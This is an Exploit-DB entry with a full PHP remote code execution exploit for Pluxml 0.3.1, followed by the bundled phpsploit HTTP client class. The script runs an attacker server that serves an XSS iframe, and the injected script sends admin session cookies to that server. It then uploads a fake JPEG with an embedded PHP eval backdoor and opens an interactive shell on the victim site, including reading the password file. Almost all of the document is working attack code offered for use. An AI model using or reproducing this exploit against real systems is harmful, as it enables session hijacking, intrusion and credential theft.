标题: Pluxml 0.3.1 - Remote Code Execution EDB-ID: 4096 CVE: 2007-3542 2007-3432 类型: WEBAPPS 平台: PHP 发布日期: 2007-06-24 漏洞利用脚本: <?php
# C:\> sploit.php -url http://victim.com/pluxml0.3.1/ -ip 90.27.10.196
# [/]Waiting for connection on http://90.27.10.196:80/
# [!]Now you have to make the victim to click on the url
# [+]Received 395 bytes from 182.26.54.2:2007
# [+]Sending 366 bytes to 182.26.54.2:2007
# [+]Received 326 bytes from 182.26.54.2:2009
# [+]Sending 366 bytes to 182.26.54.2:2009
# [+]Received 692 bytes from 182.26.54.2:2010
# [!]Received one cookie from 182.26.54.2:2010
# [/]Verifying if there is a valid session id cookie
# [-]No: pollvote=1
# [!]Yes: PHPSESSID=c6255827c1a07c51a95af691a612484b
# [+]The created socket has been shut down
# $shell> whoami
# darkfig
#
if($argc < 5)
{
print("
------------ Pluxml 0.3.1 Remote Code Execution Exploit -------------
---------------------------------------------------------------------
             Credits: DarkFig <gmdarkfig@gmail.com>
                 URL: acid-root.new.fr || mgsdl.free.fr
                 IRC: #acidroot@irc.worldnet.net
                Note: Coded for fun 8)
---------------------------------------------------------------------
   Usage: $argv[0] -url <> -ip <> [Options]
  Params: -url       For example http://victim.com/pluxml0.3.1/
          -ip        The IP that will be bound to the socket
 Options: -port      The socket will listen on this port (default=80)
          -proxy     If you wanna use a proxy <proxyhost:proxyport> 
          -proxyauth Basic authentification <proxyuser:proxypwd>
---------------------------------------------------------------------
");exit(1);
}

# PhpSploit object
####################
$xpl = new phpsploit();
$xpl->agent('Firefox');

# Server
##########
$server_addr = getparam('ip',1);
$server_port = (getparam('port')!='') ? getparam('port') : '80';
$server_url  = "http://$server_addr:$server_port/";

# Victim
##########
$hack = getparam('url',1);
$html = "<h1>hello :)</h1>\n";

# Apparently my XSS bypass NoScript protection
################################################
$xss  = "<iframe src='${hack}pluxml/admin/auth.php?msg="
       ."<script>document.location=(".char($server_url.'?c=')
       .".concat(document.cookie))</script>'"
       ." height=0 width=0>";

# Socket
##########
$handle = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
socket_bind($handle, $server_addr, $server_port);
socket_listen($handle);

print "\n[/]Waiting for connection on $server_url";
print "\n[!]Now you have to make the victim to click on the url";

# Wait until we get admin rights
##################################
while(TRUE)
{
 $packet = '';
 
 if(!$msg = socket_accept($handle))
    exit(1);

 # End of the packet ?
 ######################
 while(!ereg("\r\n\r\n",$packet))
    $packet .= socket_read($msg, 2048, PHP_BINARY_READ);
    
        socket_getpeername($msg, $clientaddr, $clientport);
        print "\n[+]Received ".strlen($packet)." bytes from $clientaddr:$clientport";

 # Server response
 ##################
 $serv =
  "HTTP 1.x 200 OK\r\n"
 ."Connection: close\r\n"
 ."Transfer-Encoding: chunked\r\n"
 ."Content-Type: text/html\r\n\r\n"
 .$html.$xss."\r\n\r\n";

 # Is there a cookie ?
 #######################
 if(preg_match("#\?c=(\S*) HTTP/1\.([01x]+)#", $packet, $cookies))
 {
  print "\n[!]Received one cookie from $clientaddr:$clientport";
  print "\n[/]Verifying if there is a valid session id cookie";
  $cookie = explode(';%20',$cookies[1]);
  
  foreach($cookie as $session)
  {
   # Valid session id ?
   #######################
   if(is_valid_session($session))
   
      # Let's upload a file
      #######################
      code_execution();
  }
  print "\n[-]No valid session id cookie found";
  print "\n[/]Always waiting for connection";
 }
 # Answer to the client
 ########################
 else
 {
  print "\n[+]Sending ".strlen($serv)." bytes to $clientaddr:$clientport";
  socket_write($msg, $serv, strlen($serv));
 }
 socket_close($msg);
}

# Function which is like getopt()
###################################
function getparam($param,$opt='')
{
 global $argv;
 
 foreach($argv as $value => $key)
 {
  if($key == '-'.$param)
     return $argv[$value+1];
 }
 
 if($opt)
    exit("-$param parameter required");
 else
    return;
}

# Bypass magic_quotes_gpc
###########################
function char($data)
{
 $char = 'String.fromCharCode(';
 
 for($i=0;$i<strlen($data);$i++)
 {
  $char .= ord($data[$i]);
  if($i != (strlen($data)-1))
     $char .= ',';
 }
 return $char.')';
}

# Admin session always available ?
###################################
function is_valid_session($session)
{
 global $xpl,$hack;
 
 $xpl->addheader('Cookie',$session);
 $xpl->get($hack.'pluxml/admin/index.php');
 
 if(eregi('Location: auth.php', $xpl->getheader()))
 {
  print "\n[-]No: $session";
  return FALSE;
 }
 else
 {
  print "\n[!]Yes: $session";
  return TRUE;
 }
}

# File upload vulnerability
#############################
function code_execution()
{
 global $xpl,$hack,$msg;
 
 socket_close($msg);
 print "\n[+]The created socket has been shut down";
 
 # +images.php [File Upload Vulnerability]
 # |
 # 11. if(!empty($_FILES)){
 # 12.    $uploaddir = '../../images/';
 # 13.    $uploadfile = $uploaddir . basename($_FILES['userfile']['name']);
 # 14. if(getimagesize($_FILES['userfile']['tmp_name'])){
 # 15.  move_uploaded_file($_FILES['userfile']['tmp_name'],$uploadfile);
 # 16.  chmod($uploadfile, 0777);
 # 17.  $msg = 'Image envoyÃ©e';
 # 18. }else{
 # 19.  $msg = 'Le fichier n\'est pas une image';
 # 20. }
 # 21. header('Location: images.php?msg='.$msg);
 # 22. }
 #
 # Fake JPG 1x1
 # 000000A0 007F 3C3F 7068 700D 0A69 6628 6973 7365 ..<?php..if(isse
 # 000000B0 7428 245F 5345 5256 4552 5B48 5454 505F t($_SERVER[HTTP_
 # 000000C0 5348 454C 4C5D 2929 0D0A 7B0D 0A70 7269 SHELL]))..{..pri
 # 000000D0 6E74 2031 3233 3435 3637 3839 3130 3131 nt 1234567891011
 # 000000E0 3132 3B0D 0A65 7661 6C28 245F 5345 5256 12;..eval($_SERV
 # 000000F0 4552 5B48 5454 505F 5348 454C 4C5D 293B ER[HTTP_SHELL]);
 # 00000100 0D0A 7072 696E 7420 3132 3334 3536 3738 ..print 12345678
 # 00000110 3931 3031 3131 323B 0D0A 7D0D 0A3F 3EFF 9101112;..}..?\>.
 #
 $fakejpg =
 "\xFF\xD8\xFF\xE0\x00\x10\x4A\x46\x49\x46\x00\x01\x01\x01\x00"
 ."\x60\x00\x60\x00\x00\xFF\xDB\x00\x43\x00\x08\x06\x06\x07\x06"
 ."\x05\x08\x07\x07\x07\x09\x09\x08\x0A\x0C\x14\x0D\x0C\x0B\x0B"
 ."\x0C\x19\x12\x13\x0F\x14\x1D\x1A\x1F\x1E\x1D\x1A\x1C\x1C\x20"
 ."\x24\x2E\x27\x20\x22\x2C\x23\x1C\x1C\x28\x37\x29\x2C\x30\x31"
 ."\x34\x34\x34\x1F\x27\x39\x3D\x38\x32\x3C\x2E\x33\x34\x32\xFF"
 ."\xDB\x00\x43\x01\x09\x09\x09\x0C\x0B\x0C\x18\x0D\x0D\x18\x32"
 ."\x21\x1C\x21\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
 ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
 ."\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32\x32"
 ."\x32\x32\x32\x32\x32\x32\x32\x32\xFF\xFE\x00\x7F\x3C\x3F\x70"
 ."\x68\x70\x0D\x0A\x69\x66\x28\x69\x73\x73\x65\x74\x28\x24\x5F"
 ."\x53\x45\x52\x56\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45"
 ."\x4C\x4C\x5D\x29\x29\x0D\x0A\x7B\x0D\x0A\x70\x72\x69\x6E\x74"
 ."\x20\x31\x32\x33\x34\x35\x36\x37\x38\x39\x31\x30\x31\x31\x31"
 ."\x32\x3B\x0D\x0A\x65\x76\x61\x6C\x28\x24\x5F\x53\x45\x52\x56"
 ."\x45\x52\x5B\x48\x54\x54\x50\x5F\x53\x48\x45\x4C\x4C\x5D\x29"
 ."\x3B\x0D\x0A\x70\x72\x69\x6E\x74\x20\x31\x32\x33\x34\x35\x36"
 ."\x37\x38\x39\x31\x30\x31\x31\x31\x32\x3B\x0D\x0A\x7D\x0D\x0A"
 ."\x3F\x3E\xFF\xC0\x00\x11\x08\x00\x01\x00\x01\x03\x01\x22\x00"
 ."\x02\x11\x01\x03\x11\x01\xFF\xC4\x00\x1F\x00\x00\x01\x05\x01"
 ."\x01\x01\x01\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x01\x02"
 ."\x03\x04\x05\x06\x07\x08\x09\x0A\x0B\xFF\xC4\x00\xB5\x10\x00"
 ."\x02\x01\x03\x03\x02\x04\x03\x05\x05\x04\x04\x00\x00\x01\x7D"
 ."\x01\x02\x03\x00\x04\x11\x05\x12\x21\x31\x41\x06\x13\x51\x61"
 ."\x07\x22\x71\x14\x32\x81\x91\xA1\x08\x23\x42\xB1\xC1\x15\x52"
 ."\xD1\xF0\x24\x33\x62\x72\x82\x09\x0A\x16\x17\x18\x19\x1A\x25"
 ."\x26\x27\x28\x29\x2A\x34\x35\x36\x37\x38\x39\x3A\x43\x44\x45"
 ."\x46\x47\x48\x49\x4A\x53\x54\x55\x56\x57\x58\x59\x5A\x63\x64"
 ."\x65\x66\x67\x68\x69\x6A\x73\x74\x75\x76\x77\x78\x79\x7A\x83"
 ."\x84\x85\x86\x87\x88\x89\x8A\x92\x93\x94\x95\x96\x97\x98\x99"
 ."\x9A\xA2\xA3\xA4\xA5\xA6\xA7\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6"
 ."\xB7\xB8\xB9\xBA\xC2\xC3\xC4\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3"
 ."\xD4\xD5\xD6\xD7\xD8\xD9\xDA\xE1\xE2\xE3\xE4\xE5\xE6\xE7\xE8"
 ."\xE9\xEA\xF1\xF2\xF3\xF4\xF5\xF6\xF7\xF8\xF9\xFA\xFF\xC4\x00"
 ."\x1F\x01\x00\x03\x01\x01\x01\x01\x01\x01\x01\x01\x01\x00\x00"
 ."\x00\x00\x00\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0A\x0B"
 ."\xFF\xC4\x00\xB5\x11\x00\x02\x01\x02\x04\x04\x03\x04\x07\x05"
 ."\x04\x04\x00\x01\x02\x77\x00\x01\x02\x03\x11\x04\x05\x21\x31"
 ."\x06\x12\x41\x51\x07\x61\x71\x13\x22\x32\x81\x08\x14\x42\x91"
 ."\xA1\xB1\xC1\x09\x23\x33\x52\xF0\x15\x62\x72\xD1\x0A\x16\x24"
 ."\x34\xE1\x25\xF1\x17\x18\x19\x1A\x26\x27\x28\x29\x2A\x35\x36"
 ."\x37\x38\x39\x3A\x43\x44\x45\x46\x47\x48\x49\x4A\x53\x54\x55"
 ."\x56\x57\x58\x59\x5A\x63\x64\x65\x66\x67\x68\x69\x6A\x73\x74"
 ."\x75\x76\x77\x78\x79\x7A\x82\x83\x84\x85\x86\x87\x88\x89\x8A"
 ."\x92\x93\x94\x95\x96\x97\x98\x99\x9A\xA2\xA3\xA4\xA5\xA6\xA7"
 ."\xA8\xA9\xAA\xB2\xB3\xB4\xB5\xB6\xB7\xB8\xB9\xBA\xC2\xC3\xC4"
 ."\xC5\xC6\xC7\xC8\xC9\xCA\xD2\xD3\xD4\xD5\xD6\xD7\xD8\xD9\xDA"
 ."\xE2\xE3\xE4\xE5\xE6\xE7\xE8\xE9\xEA\xF2\xF3\xF4\xF5\xF6\xF7"
 ."\xF8\xF9\xFA\xFF\xDA\x00\x0C\x03\x01\x00\x02\x11\x03\x11\x00"
 ."\x3F\x00\xF7\xFA\x28\xA2\x80\x3F\xFF\xD9";
 
 $formdata = array(
             frmdt_url => $hack.'pluxml/admin/images.php',
             'userfile' => array(
                           frmdt_filename => 'iwashere.php',
                           frmdt_content => $fakejpg));

 $xpl->formdata($formdata);
 print "\n\$shell> ";

 while(!preg_match('#^(quit|exit)$#', ($cmd = trim(fgets(STDIN)))))
 {
  # $shell> cat ../pluxml/conf/password.xml
  ########################################
  $xpl->addheader('Shell',"system('$cmd');");
  $xpl->get($hack.'images/iwashere.php');
  $content = explode('1.23456789101E+014',$xpl->getcontent());
  print $content[1]."\n\$shell> ";
 }
 exit(0);
}

/*
 * 
 * Copyright (C) darkfig
 * 
 * This program is free software; you can redistribute it and/or 
 * modify it under the terms of the GNU General Public License 
 * as published by the Free Software Foundation; either version 2 
 * of the License, or (at your option) any later version. 
 * 
 * This program is distributed in the hope that it will be useful, 
 * but WITHOUT ANY WARRANTY; without even the implied warranty of 
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the 
 * GNU General Public License for more details. 
 * 
 * You should have received a copy of the GNU General Public License 
 * along with this program; if not, write to the Free Software 
 * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA  02111-1307, USA.
 * 
 * TITLE:          PhpSploit Class
 * REQUIREMENTS:   PHP 4 / PHP 5
 * VERSION:        2.0
 * LICENSE:        GNU General Public License
 * ORIGINAL URL:   http://www.acid-root.new.fr/tools/03061230.txt
 * FILENAME:       phpsploitclass.php
 *
 * CONTACT:        gmdarkfig@gmail.com (french / english)
 * GREETZ:         Sparah, Ddx39
 *
 * DESCRIPTION:
 * The phpsploit is a class implementing a web user agent.
 * You can add cookies, headers, use a proxy server with (or without) a
 * basic authentification. It supports the GET and the POST method. It can
 * also be used like a browser with the cookiejar() function (which allow
 * a server to add several cookies for the next requests) and the
 * allowredirection() function (which allow the script to follow all
 * redirections sent by the server). It can return the content (or the
 * headers) of the request. Others useful functions can be used for debugging.
 * A manual is actually in development but to know how to use it, you can
 * read the comments.
 *
 * CHANGELOG:
 *
 * [2007-06-10] (2.0)
 *  * Code: Code optimization
 *  * New: Compatible with PHP 4 by default
 *
 * [2007-01-24] (1.2)
 *  * Bug #2 fixed: Problem concerning the getcookie() function ((|;))
 *  * New: multipart/form-data enctype is now supported 
 *
 * [2006-12-31] (1.1)
 *  * Bug #1 fixed: Problem concerning the allowredirection() function (chr(13) bug)
 *  * New: You can now call the getheader() / getcontent() function without parameters
 *
 * [2006-12-30] (1.0)
 *  * First version
 * 
 */

class phpsploit
{
 var $proxyhost;
 var $proxyport;
 var $host;
 var $path;
 var $port;
 var $method;
 var $url;
 var $packet;
 var $proxyuser;
 var $proxypass;
 var $header;
 var $cookie;
 var $data;
 var $boundary;
 var $allowredirection;
 var $last_redirection;
 var $cookiejar;
 var $recv;
 var $cookie_str;
 var $header_str;
 var $server_content;
 var $server_header;
 

 /**
  * This function is called by the
  * get()/post()/formdata() functions.
  * You don't have to call it, this is
  * the main function.
  *
  * @access private
  * @return string $this->recv ServerResponse
  * 
  */
 function sock()
 {
  if(!empty($this->proxyhost) && !empty($this->proxyport))
     $socket = @fsockopen($this->proxyhost,$this->proxyport);
  else
     $socket = @fsockopen($this->host,$this->port);
  
  if(!$socket)
     die("Error: Host seems down");
  
  if($this->method=='get')
     $this->packet = 'GET '.$this->url." HTTP/1.1\r\n";
     
  elseif($this->method=='post' or $this->method=='formdata')
     $this->packet = 'POST '.$this->url." HTTP/1.1\r\n";
     
  else
     die("Error: Invalid method");
  
  if(!empty($this->proxyuser))
     $this->packet .= 'Proxy-Authorization: Basic '.base64_encode($this->proxyuser.':'.$this->proxypass)."\r\n";
  
  if(!empty($this->header))
     $this->packet .= $this->showheader();
     
  if(!empty($this->cookie))
     $this->packet .= 'Cookie: '.$this->showcookie()."\r\n";
 
  $this->packet .= 'Host: '.$this->host."\r\n";
  $this->packet .= "Connection: Close\r\n";
  
  if($this->method=='post')
  {
   $this->packet .= "Content-Type: application/x-www-form-urlencoded\r\n";
   $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data."\r\n";
  }
  elseif($this->method=='formdata')
  {
   $this->packet .= 'Content-Type: multipart/form-data; boundary='.str_repeat('-',27).$this->boundary."\r\n";
   $this->packet .= 'Content-Length: '.strlen($this->data)."\r\n\r\n";
   $this->packet .= $this->data;
  }

  $this->packet .= "\r\n";
  $this->recv = '';

  fputs($socket,$this->packet);

  while(!feof($socket))
     $this->recv .= fgets($socket);

  fclose($socket);

  if($this->cookiejar)
     $this->getcookie();

  if($this->allowredirection)
     return $this->getredirection();
  else
     return $this->recv;
 }
 

 /**
  * This function allows you to add several
  * cookies in the request.
  * 
  * @access  public
  * @param   string cookn CookieName
  * @param   string cookv CookieValue
  * @example $this->addcookie('name','value')
  * 
  */
 function addcookie($cookn,$cookv)
 {
  if(!isset($this->cookie))
     $this->cookie = array();

  $this->cookie[$cookn] = $cookv;
 }


 /**
  * This function allows you to add several
  * headers in the request.
  *
  * @access  public
  * @param   string headern HeaderName
  * @param   string headervalue Headervalue
  * @example $this->addheader('Client-IP', '128.5.2.3')
  * 
  */
 function addheader($headern,$headervalue)
 {
  if(!isset($this->header))
     $this->header = array();
     
  $this->header[$headern] = $headervalue;
 }


 /**
  * This function allows you to use an
  * http proxy server. Several methods
  * are supported.
  * 
  * @access  public
  * @param   string proxy ProxyHost
  * @param   integer proxyp ProxyPort
  * @example $this->proxy('localhost',8118)
  * @example $this->proxy('localhost:8118')
  * 
  */
 function proxy($proxy,$proxyp='')
 {
  if(empty($proxyp))
  {
   $proxarr = explode(':',$proxy);
   $this->proxyhost = $proxarr[0];
   $this->proxyport = (int)$proxarr[1];
  }
  else 
  {
   $this->proxyhost = $proxy;
   $this->proxyport = (int)$proxyp;
  }

  if($this->proxyport > 65535)
     die("Error: Invalid port number");
 }
 

 /**
  * This function allows you to use an
  * http proxy server which requires a
  * basic authentification. Several
  * methods are supported:
  *
  * @access  public
  * @param   string proxyauth ProxyUser
  * @param   string proxypass ProxyPass
  * @example $this->proxyauth('user','pwd')
  * @example $this->proxyauth('user:pwd');
  * 
  */
 function proxyauth($proxyauth,$proxypass='')
 {
  if(empty($proxypass))
  {
   $posvirg = strpos($proxyauth,':');
   $this->proxyuser = substr($proxyauth,0,$posvirg);
   $this->proxypass = substr($proxyauth,$posvirg+1);
  }
  else
  {
   $this->proxyuser = $proxyauth;
   $this->proxypass = $proxypass;
  }
 }


 /**
  * This function allows you to set
  * the 'User-Agent' header.
  * 
  * @access  public
  * @param   string useragent Agent
  * @example $this->agent('Firefox')
  * 
  */
 function agent($useragent)
 {
  $this->addheader('User-Agent',$useragent);
 }

 
 /**
  * This function returns the headers
  * which will be in the next request.
  * 
  * @access  public
  * @return  string $this->header_str Headers
  * @example $this->showheader()
  * 
  */
 function showheader()
 {
  $this->header_str = '';
  
  if(!isset($this->header))
     return;
     
  foreach($this->header as $name => $value)
     $this->header_str .= $name.': '.$value."\r\n";
     
  return $this->header_str;
 }

 
 /**
  * This function returns the cookies
  * which will be in the next request.
  * 
  * @access  public
  * @return  string $this->cookie_str Cookies
  * @example $this->showcookie()
  * 
  */
 function showcookie()
 {
  $this->cookie_str = '';
  
  if(!isset($this->cookie))
     return;
  
  foreach($this->cookie as $name => $value)
     $this->cookie_str .= $name.'='.$value.'; ';

  return $this->cookie_str;
 }


 /**
  * This function returns the last
  * formed http request.
  * 
  * @access  public
  * @return  string $this->packet HttpPacket
  * @example $this->showlastrequest()
  * 
  */
 function showlastrequest()
 {
  if(!isset($this->packet))
     return;
  else
     return $this->packet;
 }


 /**
  * This function sends the formed
  * http packet with the GET method.
  * 
  * @access  public
  * @param   string url Url
  * @return  string $this->sock()
  * @example $this->get('localhost/index.php?var=x')
  * @example $this->get('http://localhost:88/tst.php')
  * 
  */
 function get($url)
 {
  $this->target($url);
  $this->method = 'get';
  return $this->sock();
 }

 
 /**
  * This function sends the formed
  * http packet with the POST method.
  *
  * @access  public
  * @param   string url  Url
  * @param   string data PostData
  * @return  string $this->sock()
  * @example $this->post('http://localhost/','helo=x')
  * 
  */ 
 function post($url,$data)
 {
  $this->target($url);
  $this->method = 'post';
  $this->data = $data;
  return $this->sock();
 }
 

 /**
  * This function sends the formed http
  * packet with the POST method using
  * the multipart/form-data enctype.
  * 
  * @access  public
  * @param   array array FormDataArray
  * @return  string $this->sock()
  * @example $formdata = array(
  *                      frmdt_url => 'http://localhost/upload.php',
  *                      frmdt_boundary => '123456', # Optional
  *                      'var' => 'example',
  *                      'file' => array(
  *                                frmdt_type => 'image/gif',  # Optional
  *                                frmdt_transfert => 'binary' # Optional
  *                                frmdt_filename => 'hello.php,
  *                                frmdt_content => '<?php echo 1; ?>'));
  *          $this->formdata($formdata);
  * 
  */
 function formdata($array)
 {
  $this->target($array[frmdt_url]);
  $this->method = 'formdata';
  $this->data = '';
  
  if(!isset($array[frmdt_boundary]))
     $this->boundary = 'phpsploit';
  else
     $this->boundary = $array[frmdt_boundary];

  foreach($array as $key => $value)
  {
   if(!preg_match('#^frmdt_(boundary|url)#',$key))
   {
    $this->data .= str_repeat('-',29).$this->boundary."\r\n";
    $this->data .= 'Content-Disposition: form-data; name="'.$key.'";';
    
    if(!is_array($value))
    {
     $this->data .= "\r\n\r\n".$value."\r\n";
    }
    else
    {
     $this->data .= ' filename="'.$array[$key][frmdt_filename]."\";\r\n";

     if(isset($array[$key][frmdt_type]))
        $this->data .= 'Content-Type: '.$array[$key][frmdt_type]."\r\n";

     if(isset($array[$key][frmdt_transfert]))
        $this->data .= 'Content-Transfer-Encoding: '.$array[$key][frmdt_transfert]."\r\n";

     $this->data .= "\r\n".$array[$key][frmdt_content]."\r\n";
    }
   }
  }

  $this->data .= str_repeat('-',29).$this->boundary."--\r\n";
  return $this->sock();
 }

 
 /**
  * This function returns the content
  * of the server response, without
  * the headers.
  * 
  * @access  public
  * @param   string code ServerResponse
  * @return  string $this->server_content
  * @example $this->getcontent()
  * @example $this->getcontent($this->get('http://localhost/'))
  * 
  */
 function getcontent($code='')
 {
  if(empty($code))
     $code = $this->recv;

  $code = explode("\r\n\r\n",$code);
  $this->server_content = '';
  
  for($i=1;$i<count($code);$i++)
     $this->server_content .= $code[$i];

  return $this->server_content;
 }

 
 /**
  * This function returns the headers
  * of the server response, without
  * the content.
  * 
  * @access  public
  * @param   string code ServerResponse
  * @return  string $this->server_header
  * @example $this->getcontent()
  * @example $this->getcontent($this->post('http://localhost/','1=2'))
  * 
  */
 function getheader($code='')
 {
  if(empty($code))
     $code = $this->recv;

  $code = explode("\r\n\r\n",$code);
  $this->server_header = $code[0];
  
  return $this->server_header;
 }

 
 /**
  * This function is called by the
  * cookiejar() function. It adds the
  * value of the "Set-Cookie" header
  * in the "Cookie" header for the
  * next request. You don't have to
  * call it.
  * 
  * @access private
  * @param  string code ServerResponse
  * 
  */
 function getcookie()
 {
  foreach(explode("\r\n",$this->getheader()) as $header)
  {
   if(preg_match('/set-cookie/i',$header))
   {
    $fequal = strpos($header,'=');
    $fvirgu = strpos($header,';');
    
    // 12=strlen('set-cookie: ')
    $cname  = substr($header,12,$fequal-12);
    $cvalu  = substr($header,$fequal+1,$fvirgu-(strlen($cname)+12+1));
    
    $this->cookie[trim($cname)] = trim($cvalu);
   }
  }
 }


 /**
  * This function is called by the
  * get()/post() functions. You
  * don't have to call it.
  *
  * @access  private
  * @param   string urltarg Url
  * @example $this->target('http://localhost/')
  * 
  */
 function target($urltarg)
 {
  if(!ereg('^http://',$urltarg))
     $urltarg = 'http://'.$urltarg;
     
  $urlarr     = parse_url($urltarg);
  $this->url  = 'http://'.$urlarr['host'].$urlarr['path'];
  
  if(isset($urlarr['query']))
     $this->url .= '?'.$urlarr['query'];
  
  $this->port = !empty($urlarr['port']) ? $urlarr['port'] : 80;
  $this->host = $urlarr['host'];
  
  if($this->port != '80')
     $this->host .= ':'.$this->port;

  if(!isset($urlarr['path']) or empty($urlarr['path']))
     die("Error: No path precised");

  $this->path = substr($urlarr['path'],0,strrpos($urlarr['path'],'/')+1);

  if($this->port > 65535)
     die("Error: Invalid port number");
 }
 
 
 /**
  * If you call this function,
  * the script will extract all
  * 'Set-Cookie' headers values
  * and it will automatically add
  * them into the 'Cookie' header
  * for all next requests.
  *
  * @access  public
  * @param   integer code 1(enabled) 0(disabled)
  * @example $this->cookiejar(0)
  * @example $this->cookiejar(1)
  * 
  */
 function cookiejar($code)
 {
  if($code=='0')
     $this->cookiejar=FALSE;

  elseif($code=='1')
     $this->cookiejar=TRUE;
 }


 /**
  * If you call this function,
  * the script will follow all
  * redirections sent by the server.
  * 
  * @access  public
  * @param   integer code 1(enabled) 0(disabled)
  * @example $this->allowredirection(0)
  * @example $this->allowredirection(1)
  * 
  */
 function allowredirection($code)
 {
  if($code=='0')
     $this->allowredirection=FALSE;
     
  elseif($code=='1')
     $this->allowredirection=TRUE;
 }

 
 /**
  * This function is called if
  * allowredirection() is enabled.
  * You don't have to call it.
  *
  * @access private
  * @return string $this->get('http://'.$this->host.$this->path.$this->last_redirection)
  * @return string $this->get($this->last_redirection)
  * @return string $this->recv;
  * 
  */
 function getredirection()
 {
  if(preg_match('/(location|content-location|uri): (.*)/i',$this->getheader(),$codearr))
  {
   $this->last_redirection = trim($codearr[2]);
   
   if(!ereg('://',$this->last_redirection))
      return $this->get('http://'.$this->host.$this->path.$this->last_redirection);

   else
      return $this->get($this->last_redirection);
  }
  else
     return $this->recv;
 }


 /**
  * This function allows you
  * to reset some parameters.
  * 
  * @access  public
  * @param   string func Param
  * @example $this->reset('header')
  * @example $this->reset('cookie')
  * @example $this->reset()
  * 
  */
 function reset($func='')
 {
  switch($func)
  {
   case 'header':
   $this->header = array('');
   break;
    
   case 'cookie':
   $this->cookie = array('');
   break;
    
   default:
   $this->cookiejar = '';
   $this->header = array('');
   $this->cookie = array('');
   $this->allowredirection = '';
   break;
  }
 }
}
?>

# milw0rm.com [2007-06-24] URL: https://www.exploit-db.com/exploits/4096